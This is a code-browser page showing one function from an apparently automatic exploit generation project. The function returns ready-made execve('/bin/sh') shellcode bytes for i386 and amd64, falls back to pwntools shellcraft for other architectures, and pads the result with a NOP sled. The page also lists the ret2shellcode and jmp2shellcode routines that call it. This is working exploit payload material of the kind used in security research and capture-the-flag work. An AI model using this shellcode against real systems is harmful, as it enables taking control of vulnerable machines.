MCPcopy Create free account
hub / github.com/GhostFrankWu/SAEG / get_shellcode

Function get_shellcode

aeg_module/utils.py:241–254  ·  view source on GitHub ↗
(target_property)

Source from the content-addressed store, hash-verified

239
240
241def get_shellcode(target_property):
242 # return b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
243 context.arch = target_property['arch']
244 if context.arch == 'i386': # /bin/sh shellcode - 23 bytes
245 shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
246 # b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
247 elif context.arch == 'amd64': # /bin/sh shellcode - 23 bytes
248 shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
249 # b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
250 else:
251 assembly = shellcraft.sh() # This works, but the shellcode is usually long
252 shellcode = asm(assembly)
253 shellcode = shellcode.rjust(len(shellcode) // 8 * 8 + 8, b'\x90')
254 return shellcode
255
256
257def get_max_str_len(state, start, right=0x200, binary_search=False):

Callers 2

ret2shellcodeFunction · 0.85
jmp2shellcodeFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected